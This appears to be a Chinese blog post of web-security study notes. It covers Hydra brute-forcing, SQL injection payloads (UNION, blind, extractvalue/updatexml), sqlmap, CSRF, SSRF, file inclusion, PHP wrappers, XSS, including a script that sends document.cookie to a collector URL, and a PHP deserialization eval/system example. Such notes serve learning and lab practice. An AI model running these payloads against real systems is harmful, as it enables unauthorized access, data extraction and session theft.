一部分总结

一部分总结

TOC

总结:

TOC

信息收集:

Google
Shodan
FOFA

----------注释:以下是kali工具Hydra暴力破解的工具

弱口令爆破:

概念:网络安全中的弱口令是指哪些容易被他人猜测或者破解的简单的密码

Hydra 是一款功能强大且被广泛使用的开源密码破解工具:

使用:

shell
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标 ip 列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是 16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)破解 SSH 登录密码

爆破后登录:

Linux/macOS远程登录通常用SSH

SSH连接: 运行 systemctl status ssh

**linux链接linux:**ssh 用户名@目标ip

Windows远程桌面默认用RDP

RDP连接: 运行 netstat -ano | findstr 3389 (查看3389端口)

**windows链接linux:**ssh 用户名@目标ip

破解mysql登录密码流程:
sql
# 开发中,root 用户默认限制了远程登录, 所以需要创建新的有远程登录的账号进行使用

# 1、创建账户
create user '用户名'@'%' identified by '密码';
# 举例:
create user 'liuxiao'@'%' identified by '123abc@';
#	create 创建
#	user 用户
#	identified by  设置密码为...
% --- 通配符 指 用户可以从任何地方进行登录

# 2、给权限:
grant all on *.* to '用户名'@'%';
# 举例:
grant all on *.* to 'liuxiao'@'%';
grant --- 授权
all --- 所有的增删改查
on  --- 在...上
*.* ---- 所有的库.所有的表
to --- 给

# 3、刷新:
flush privileges;

# 查看当前账号
select user();

# 删除用户
drop user '用户名'@'%';

# 查询所有用户
SELECT user FROM mysql.user;
bash
mysql -h IP -u用户 -p密码
封锁后取消:
mysqladmin -u root -p flush-hosts
text
端口扫描:masscan  -p  端口  --range  目标主机IP

SQL注入(UNION注入):

group_concat():查询的结果是一行显示

sql
获取库名:
date=' union select database(),'','','

获取表名:
select * from information_schema.tables;

select group_concat(table_name) from information_schema.tables where table_schema = '库名';
获取字段名:
select * from 表名 where datestr=''union select(select group_concat(table_name) from information_schema.tables where table_schema = '库名'),'','','

select * from news where datestr=''union select(select * from information_schema.columns;

select group_concat(columns_name) from information_schema.columns where table_schema='库名' and table_name = '表名'),'','','
获取具体信息:
select 多个字段 from 表名 where '1'  加个条件where '1'永远成立

SQL注入(布尔盲注):

当改变浏览器传给后台SQL参数后,浏览器没有显示对应内容时,无法使用union联合查询注入,这时候可以尝试以下能否使用布尔注入

length()函数:返回字符串的长度。攻击者可以利用此函数判断查询结果的长度

substr()函数:用来截取字符串。攻击者可以利用此函数截取查询结果的某个字符,并进行后续的判断

ascii()函数:返回一个字符的ASCII码。将字符转换成ASCII码可以避免在payload中出现引号,还可以利用二分法方便更快的找到正确的数据

limit x,y 设置从x行向下查询y行数据

count():统计查询出来的数据数量

Snipaste_2025-11-01_14-42-17

sql
information_schema是一个包含了关于所有数据库的信息(比如表、列、数据类型等)的特殊数据库,而tables视图则包含了关于所有表格的信息
例用id=2 and (数据库语句)来包含

获取数据库:

substr(database(),1,1)  #获取当前数据库的第一个字符
select ascii(substr(database(),1,1));  #获取ascii值

爆破表名:
(select count(table_name) from information_schema.tables where table_schema='库名')<表的数量

查询数据库中的第m-1(从零开始)个表(或字段)的第n个字符信息
ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit m-1,1),n,1))<ascii码数值

爆破字段:
(select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名';)<字段数量

ascii(substr((select column_name from information_schema.columns where table_schema='数据库' and table_name='表名' limit m-1,1),n,1))

获取字段内的真实数据:
ascii(substr((select 字段名 from 表名 limit 0,1),1,1))

SQL注入报错注入:

报错注入是一种常见的SQL注入方式,就是人为的制造错误条件,使得查询结果能够出现在错误信息中

floor()是一个数字函数,用于向下取整,返回小于或等于指定数值的最大整数

rand()是一个数字函数,用于生成一个0到1之间的随机浮点数

group by用于将查询结果按指定列分组

基于XPath的报错注入:

extractvalue()函数:这个函数用于将XML文档中提取数据,当提供无效的XPath表达式时,它也会触发错误基于XML报错注入

sql
?id=2 and extractvalue(1, concat(0x5e, (select database()),0x5e))
extractvalue(1, concat(0x5c, (sql执行想要的语法),0x5c))

基于XML的报错注入:

updatexml():这个函数用于修改XML文档中的数据,当提供错误的XPath表达式时,他也会触发一个错误,并可能返回数据库中的敏感信息

sql
and updatexml(1,concat(0x5e,(注入SQL语句),0x5e),1)
and updatexml(1,concat(0x5e,(注入SQL语句),0x5e),1)),0x5e),1)

sqlmap工具使用:

txt
打开sqlmap.py当前文件夹,打开cmd
python sqlmap.py -u "网站"
--dbs可获取所有数据库名
--current-db 获取当前数据库的名称
-D 数据库名 指定目标「数据库」,常配合其他参数使用
--tables 获取表
-T 表名 --columns 指定表查询
-C "字段名1,..." --dump 获取值,也就是表中的数据。

布尔型盲注(Boolean-based blind)
时间型盲注(Time-based blind)
报错型注入(Error-based)
联合查询注入(UNION query-based)
堆叠查询注入(Stacked queries)

cmd:
 Type: boolean-based blind   布尔类型
 Type: error-based         报错
 Type: time-based blind     时间
 Type: UNION query        联合
 web application technology: Apache 2.4.39, PHP 5.3.29  数据库版本

CSRF漏洞(跨站请求伪造):

CSRF攻击条件:

1.存在漏洞的目标网站

2.用户已登录状态

3.攻击者对协议包的深入了解

4.浏览器支持

如何确认一个web系统存在CSRF漏洞: 对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造。 例如修改账号信息时,不需要验证旧密码,或者进行其他身份验证,导致请求容易被伪造

get请求通过手写伪造

post请求的话 可以使用我们bp上专门的伪造

抓包->相关工具->CSRF PoC生成->拿到网页后->构造部署引诱点击

SSRF漏洞(服务器端请求伪造):

SSRF是一种由攻击者构造请求,由服务器端发起请求的安全漏洞,本质上是属于信息泄露漏洞

攻击者想要访问主机B上的服务,但是由于主机B是属于内网主机无法直接访问。而主机A存在SSRF漏洞,这时攻击者可以借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息

curl_exec():通过 cURL 库发送 HTTP/HTTPS 请求,支持 GET/POST/HEAD 等复杂操作。

file_get_contents():直接读取文件内容(支持本地文件和远程 URL,需allow_url_fopen=On)。

域网IP地址范围分三类,以下IP段为内网IP段

C类:192.168.1.0 - 192.168.255.255

B类:172.16.0.0 - 172.31.255.255

A类:10.0.0.0 - 10.255.255.255

1.file协议读取本地文件:

file://c:\windows\system32\drivers\etc\hosts

2. 端口探测:

语法1: http://主机ip 回显显示可以直接看出来(回显指页面反应速度)

语法2: https://主机ip 不推荐

挖掘思路:

简单来说,请求地址为如下方式,就可能存在SSRF漏洞 http://www.xx.com/a.php?url=地址 这个是一种常见的 服务端动态请求模式,通常用于以下功能场景:动态跳转、代理访问、权限控制、数据统计或参数化加载功能的后端接口,需注意安全校验

文件上传:

upload-labs

文件包含与伪协议:

文件包含漏洞,包括本地文件包含(LFI)和远程文件包含(RFI,尽管RFI通常被禁用或限制)

本地文件包含(LFI):攻击者需要先上传恶意文件,然后通过文件包含漏洞读取或执行它 包含的文件在本地的 远程文件包含(RFI):在一些配置不当的服务器上,攻击者可以通过URL引用远程服务器(攻击者的服务器)上的文件来执行。这通常被禁用,因为风险极高 包含的文件像在公司的服务器上的没在本地的

本地文件包含(LFI):

无限制,上传什么都可以,用file

有限制,txt会转化成.txt.html,用%00绕过

info.php.html 我们可以使用00截断的方法去绕过

远程文件包含(RFI):

通过拼接后半部分访问

访问需要写全地址filename=http://本机ip/文件名.txt

伪协议:

text
php支持协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

input协议

php://input //input协议 在 PHP 中,php://input 是一个伪协议流,它允许访问请求的原始数据的只读流,通常用于获取 POST 请求中没有经过解析的原始数据

file协议

file:// file:// 伪协议允许你访问本地文件系统中的文件。这可以用于读取文件内容,但也可以被恶意利用来访问敏感文件

data://协议

data:// 伪协议允许你通过URL包含数据,这些数据被当作文件内容。通常可以用来执行 PHP 代码

xss跨站脚本攻击

反射性与存储型和DOM型XSS

XSS攻击主要可以分为三种类型:反射型、存储型和DOM型。每种类型在攻击方式和防护策略上有所不同。很容易混淆的是反射和DOM类型

如何判断网站上有xss漏洞

最简单的就是执行javascript弹出代码,若成功弹出说明网站对于JavaScript代码没有过滤(弹窗(恶意代码)在当前页面执行说明该页面为回显点)

1.反射性XSS

反射性XSS攻击是指攻击者将恶意脚本作为参数嵌入到URL中,当用户访问该恶意URL时,服务器会直接将恶意脚本作为响应内容返回给浏览器,浏览器解析并执行其中的恶意脚本,这种攻击的特点是攻击代码不会被存储到服务器端,只是在请求和响应的过程中临时反射回来。

javascript
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://localhost:81/xss1/get_cookie.php?cookie=' + encodeURIComponent(document.cookie), true);
    xhr.send();
</script>

Snipaste_2025-12-06_16-20-45

2.存储型XSS

特点:攻击脚本会被永久的存储在服务器上,比如留言板,评论区等,每当其他用户访问包含恶意脚本的页面时,脚本都会被执行 比如:攻击者在某个微步的评论区留下包含js代码的评论,每当用户访问评论的时候,恶意脚本都会被执行

3.DOM型XSS

特点:DOM型XSS的攻击脚本不需要服务器参与,而是直接通过修改页面的DOM结构来执行恶意脚本

javascript
代码构造:
alert('你已被攻击!'); window.location.href = 'http://106.52.249.22:10001/vul/xss/xss_stored.php';
alert('你已被攻击!'); window.location.replace('https://www.baidu.com/');
两个恶意代码的区别,replace 方法会用新的页面替换当前页面的历史记录,用户无法通过浏览器的 “后退” 按钮回到原页面
setTimeout(代码, 5000)可以加时间5秒

DOM型XSS攻击总结: DOM 型与服务器没有太大的关系,不需要和服务器交互,攻击纯粹发生在客户端

--------注释:以下内容需要一些php,以及window,linux基本命令

RCE漏洞:

不安全的函数和命令:如eval(),system(),exec(),shell_exec()等,这些函数或命令在php,python等脚本语言中常被执行动态代码或命令

**eval():**php

**system():**cmd

**exec():**Linux中的一个内置shell命令

shell_exec(): 是PHP中的一个函数,用于通过shell执行命令并将完整的输出以字符串的方式返回

管道符

windows管道符

Snipaste_2025-12-06_16-27-57

Linux管道符

Snipaste_2025-12-06_16-28-07

管道符用来执行一些命令

使用我们linux中的查看文件中内容的指令,cat

反序列化和反序列化概述

序列化和反序列化是编程中用于数据处理和存储的重要概念,序列化是指把变量的数据转化为字符串,这里的转换和普通的类型转换有所不同,其核心目的在于把数据以字符串形式保存起来,例如存储为文本文件,这样做的好处是,数据能够在不同环境中进行传输和存储,之后,在需要使用这些数据时,可以借助反序列化操作,将字符串恢复为原始的数据结构。这一机制在数据持久化存储,数据传输等场景中应用广泛。

serialize():此函数可将一个对象或者变量转化为字符串。在序列化过程中,PHP 会保留对象的结构和属性信息,将其编码成特定格式的字符串。例如,对于一个自定义类的实例,序列化后会生成包含类名、属性名和属性值等信息的字符串。

unserialize(): 该函数与 serialize() 相反,它能把通过 serialize() 生成的字符串还原为原始的对象或变量。在反序列化时,PHP 会根据字符串中的编码信息,重新构建出对象的结构和属性,使数据恢复到序列化之前的状态。

text
php class中的定义
private(私有成员)
访问范围:仅能在当前类的内部访问,类的外部、子类(继承的类)都无法直接访问
protected(受保护成员)
访问范围:当前类内部 + 子类(继承的类)内部可以访问,但类的外部无法直接访问。

序列化内容的详解:

bash
O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}



O : 自定义对象 object
6 : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名 长度为4 ,并且是一个字符串  string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 : 20是age的属性值 , i是代表 integer类型

s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值

为什么是s:11和s:6:PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为`\0类名\0属性名`和`\0*\0属性名`。这些字符在显示和输出时可能不易察觉,\0是1字节

二:PHP常见的魔术方法:

__construct

用于在创建对象时自动调用,主要用于初始化对象

__destruct

它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等

__toString

它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时

__wakeup

当你对一个对象调用 unserialize() 时,PHP 会先检查该类是否定义了 __wakeup() 方法,如果有,则会优先执行它

__sleep

当你对一个对象调用 serialize() 时,PHP 会先检查该类是否定义了 __sleep() 方法,如果有,则会优先执行它,再根据它的返回值决定哪些属性需要被序列化

PHP反序列化漏洞简单运用

php
<?php
class one
{
    public $b="xxxxx";

    function action()
    {
        eval($this->b);//eval函数这边得作用是
        //eval函数将里边得字符串当作代码去执行
    }
}
php
<?php

class one
{
    public $b = "system('ipconfig');";
    //这边给system('ipconfig');指令加上引号  等同于把system('ipconfig');看作一个字符串
    //eval(system('ipconfig'));
    //这样的话 我们代码指令和电脑系统指令都可以去运行
}
$a = new one();   //这边去调用我们的one类  然后存在我们的变量a中
//再去进行反序列化
echo serialize($a);  //这样的话我们就能看见
echo urlencode(serialize($a));
eval(system('ipconfig'));
?>
新故事即将发生
博客使用指南

评论区